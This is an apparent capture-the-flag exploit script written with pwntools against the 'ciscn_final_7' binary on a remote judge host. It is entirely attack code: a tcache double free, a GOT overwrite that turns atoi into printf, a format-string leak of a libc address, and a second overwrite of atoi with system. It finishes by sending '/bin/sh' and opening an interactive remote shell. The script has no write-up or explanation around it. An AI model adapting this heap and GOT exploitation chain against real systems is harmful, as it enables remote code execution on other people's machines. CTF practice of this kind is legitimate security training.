1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
sh = remote('node3.buuoj.cn',27363) libc = ELF('./libc-2.27.so') elf = ELF('./ciscn_final_7') atoi_got = elf.got['atoi'] printf_plt = elf.plt['printf']
def add(size,content): sh.sendlineafter('command>>','110') sh.sendlineafter('string:',str(size)) sh.sendlineafter('string:',content)
def add_s(size,content): sh.sendlineafter('command>>','%110c') sh.sendlineafter('string:','%' + str(size) + 'c') sh.sendlineafter('string:',content)
def edit(size,new_content): sh.sendlineafter('command>>','120') sh.sendlineafter('string:',str(size)) sh.sendlineafter('string:',new_content)
def delete(index): sh.sendlineafter('command>>','238') sh.sendlineafter('string:',str(index))
add(0x20,'a'*0x20)
delete(0) delete(0)
add(0x30,'b'*0x30) delete(1) delete(1)
add(0x20,p64(atoi_got)) add(0x20,'c') add(0x20,p64(printf_plt)) sh.sendlineafter('command>>','%25$p') sh.recvuntil('0x')
libc_base = int(sh.recvuntil('invalid choice',drop = True),16) - 0xE7 - libc.sym['__libc_start_main'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
add_s(0x30,p64(atoi_got)) add_s(0x30,'d') add_s(0x30,p64(system_addr))
sh.sendlineafter('command>>','/bin/sh')
sh.interactive()
|